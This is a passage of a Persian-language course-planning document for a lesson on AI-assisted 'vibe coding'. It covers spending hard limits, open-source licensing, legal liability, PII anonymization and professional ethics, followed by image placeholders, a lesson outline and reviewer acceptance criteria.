* تنظیم سقف سخت (Hard Limit): تعیین سقف ماهانه (مثلاً ۵ یا ۱۰ دلار در OpenRouter یا مبلغ معین در لیارا) که با رسیدن به آن، درخواست‌ها به جای ایجاد بدهی خودکار متوقف شوند.
|
||||
* هشدارهای اعلان ایمیلی و پیامکی مصرف در آستانه ۵۰٪ و ۸۰٪ بودجه.
|
||||
4. **حریم خصوصی و حفاظت از داده‌های حساس کاربران (User Privacy & PII):**
|
||||
* قانون طلایی: اطلاعات هویتی محرمانه (مانند شماره ملی، پیام‌های خصوصی یا اطلاعات تماس) نباید بدون اطلاع کاربر در پرامپت مدل‌های عمومی فرستاده شوند.
|
||||
* تکنیک گمنام‌سازی (Anonymization): جایگزینی داده‌های حساس با توکن‌های تصادفی قبل از ارسال به API مدل زبانی.
|
||||
5. **اخلاق حرفه‌ای مهندسی نرم‌افزار در عصر هوش مصنوعی:**
|
||||
* شفافیت با مشتری و کارفرما: پنهان نکردن استفاده از هوش مصنوعی و افتخار به مهارت هدایت حرفه‌ای آن.
|
||||
* تعهد به پشتیبانی، امنیت و صداقت در ادعای توانمندی‌های محصول.
|
||||
6. **کال‌اوت‌های آموزشی و هشدار کوئرا:**
|
||||
* کال‌اوت بنفش (`<details class="violet">`): مفهوم لایسنس‌های متن‌باز (MIT, Apache 2.0, GPL) و الزام رعایت حقوق خالقان اصلی ابزارها.
|
||||
* کال‌اوت سبز (`<details class="green">`): آرامش خاطر مطلق با فعال‌سازی سقف ۵ دلاری شارژ که اجازه ضرر بیشتر را نمی‌دهد.
|
||||
* کال‌اوت قرمز (`<details class="red">`): بهانه «هوش مصنوعی اشتباه کرد» هیچ اعتبار حقوقی ندارد؛ شما امضاکننده پای نهایی نرم‌افزار هستید.
|
||||
|
||||
### آنچه نباید وارد آن شویم (Out-of-Scope):
|
||||
- جزییات دادگاه‌های تجاری بین‌المللی و دعاوی نقض پتنت در آمریکا.
|
||||
- تحلیل‌های فلسفی آگاهی مصنوعی (Consciousness).
|
||||
|
||||
---
|
||||
|
||||
## ۳. مفاهیم کلیدی و کلمات تخصصی (Key Concepts & Terms)
|
||||
|
||||
| اصطلاح انگلیسی | معادل فارسی مصوب | توضیح یک‌خطی ساده |
|
||||
| :--- | :--- | :--- |
|
||||
| Software Liability | مسئولیت حقوقی نرم‌افزار | تعهد قانونی و خسارت‌پذیری سازنده نسبت به آسیب‌ها، باگ‌ها یا نشت داده‌های ناشی از نرم‌افزار |
|
||||
| Bill Shock | شوک قبوض غیرمنتظره | غافلگیری ناگهانی توسعه‌دهنده با هزینه‌های بسیار سنگین ناشی از مصرف مهارنشده APIها یا لوپ‌های بی‌پایان |
|
||||
| Hard Limit | سقف قطعی مصرف | تنظیمات بازدارنده‌ای در پنل‌های ابری که پس از رسیدن هزینه به مبلغی مشخص، بلافاصله سرویس را متوقف می‌کند |
|
||||
| PII (Personally Identifiable Info) | اطلاعات هویتی قابل شناسایی | هرگونه داده فردی (کد ملی، ایمیل، آدرس) که می‌تواند هویت واقعی یک کاربر را فاش کند |
|
||||
| Anonymization | گمنام‌سازی داده‌ها | فرآیند حذف یا بازنویسی داده‌های هویتی از متن برای حفظ کامل حریم خصوصی پیش از ارسال به هوش مصنوعی |
|
||||
| Open Source License | لایسنس متن‌باز | سند قانونی تعیین‌کننده شرایط و محدودیت‌های مجاز برای استفاده، کپی و تجاری‌سازی یک کد برنامه‌نویسی |
|
||||
|
||||
---
|
||||
|
||||
## ۴. جایگاه‌های تصاویر و نمودارها (Visual & Diagram Placeholders)
|
||||
> **راهنمای ایجنت نویسنده:** تمام تصاویر باید در پوشهٔ `images/` ذخیره شده و در جدول تک‌خانه‌ای وسط‌چین درج شوند:
|
||||
|
||||
1. **تصویر کاور درس:** `images/cover.png`
|
||||
* **موضوع:** ترازوی طلایی عدالت نئونی در کنار یک سپر دیجیتال و قطب‌نمای اخلاقی در محیط کاربری توسعه‌دهنده مدرن.
|
||||
2. **مثلث مسئولیت: کاربر، وایب کدر و هوش مصنوعی:** `images/ai-responsibility-triangle.png`
|
||||
* **موضوع:** اینفوگرافیک حقوقی: کاربر به وایب کدر اعتماد می‌کند $\rightarrow$ وایب کدر ابزار AI را هدایت می‌کند $\rightarrow$ فلش مسئولیت نهایی تماماً متوجه شخص وایب کدر است.
|
||||
3. **تنظیم سقف بودجه (Hard Limit) در داشبورد سرویس‌های ابری:** `images/budget-hard-limit-setup.png`
|
||||
* **موضوع:** اسکرین‌شات از بخش Billing سرویس با فعال بودن کلید Hard Cap روی ۱۰ دلار برای پیشگیری از هدررفت بودجه.
|
||||
4. **فرآیند گمنام‌سازی داده‌ها قبل از ارسال به مدل زبانی:** `images/pii-anonymization-pipeline.png`
|
||||
* **موضوع:** فلوچارت تصویری: ورودی کاربر حاوی شماره تلفن $\rightarrow$ ماژول ماسک‌گذاری داده $\rightarrow$ ارسال متن خنثی به API مدل $\rightarrow$ پاسخ سالم.
|
||||
|
||||
---
|
||||
|
||||
## ۵. بخش‌بندی و ساختار محتوایی پیشنهادی درس‌نامه (`README.md`)
|
||||
|
||||
1. **تیتر اصلی:** `# هزینه، مالکیت فکری، مسئولیت حقوقی و اخلاق حرفه‌ای در وایب کدینگ`
|
||||
2. **مقدمه:** هوش مصنوعی تا اینجا برای شما کد نوشت، پیامک فرستاد و چت کرد؛ اما اگر فردا باگی پیش بیاید چه کسی پای میز محاکمه می‌نشیند؟
|
||||
3. **جدول کاور درس**
|
||||
4. **استعاره ناخدای کشتی مسافربری و خلبان خودکار:**
|
||||
* سیستم ناوبری خودکار مسیر را هدایت می‌کند، اما اگر کشتی به صخره بخورد، ناخدا مسئول جان مسافران است.
|
||||
5. **وضعیت حقوقی کدهای تولید شده با هوش مصنوعی (مالکیت فکری و لایسنس‌ها):**
|
||||
* قوانین کپی‌رایت چه می‌گویند؟ چرا معماری شماست که ارزش محصول را می‌سازد.
|
||||
* مراقبت از ورود کدهای دارای لایسنس‌های ویروسی (Copyleft مانند GPL).
|
||||
6. **مدیریت حرفه‌ای هزینه‌ها: هرگز دوباره شوک قبض را تجربه نکنید!**
|
||||
* آموزش فعال‌سازی Hard Limit و Soft Limit در پنل OpenRouter، دیتابیس Supabase و سرورهای لیارا.
|
||||
7. **حفظ حریم خصوصی کاربر (Privacy by Design):**
|
||||
* تکنیک طلایی ماسک‌گذاری روی اطلاعات هویتی و پرهیز از فرستادن اطلاعات خصوصی در چت‌بات‌ها.
|
||||
8. **منشور اخلاقی وایب کدرهای حرفه‌ای کوئرا کالج:**
|
||||
* تعهد به راستی‌آزمایی خروجی، پایبندی به کیفیت، شفافیت با کارفرما و رعایت امنیت کاربر نهایی.
|
||||
9. **باکس نکته Quera (`<details class="violet">`):** اهمیت نوشتن یک صفحه ساده «سیاست حریم خصوصی» (Privacy Policy) در فوتر سایت برای ایجاد حس اعتماد و پرستیژ کاری.
|
||||
10. **باکس هشدار Quera (`<details class="red">`):** هرگز اطلاعات بانکی، رمزها یا اطلاعات هویتی حساس افراد را برای دیباگ کردن داخل چت‌های هوش مصنوعی کپی نکنید!
|
||||
11. **باکس انرژی‌بخش Quera (`<details class="green">`):** تبریک! شما نه تنها یک سازنده پرسرعت هستید، بلکه به یک معمار مسئولیت‌پذیر، قانون‌مدار و حرفه‌ای تبدیل شده‌اید.
|
||||
12. **جمع‌بندی فصل یازدهم و پیش‌نمایش فصل دوازدهم:** پایان فصول آماده‌سازی و ارتقای امنیت؛ ورود به باشکوه‌ترین لحظه: انتشار پروژه واقعی روی اینترنت در فصل ۱۲ (دیپلوی، سرورهای ابری، دامنه و SSL).
|
||||
|
||||
---
|
||||
|
||||
## ۶. معیارهای پذیرش (Acceptance Criteria for Reviewer)
|
||||
- [ ] اصول مسئولیت حقوقی و اخلاقی شخص وایب کدر به روشنی تبیین شود.
|
||||
- [ ] وضعیت مالکیت فکری کدهای AI و لایسنس‌های متن‌باز تشریح گردد.
|
||||
- [ ] روش‌های کاربردی تعیین سقف بودجه (Hard Limit) برای پیشگیری از شوک هزینه آموزش داده شود.
|
||||
- [ ] اصول حفظ حریم خصوصی و گمنام‌سازی داده‌های کاربران (PII) لحاظ شود.
|
||||
Reference in New Issue
Block a user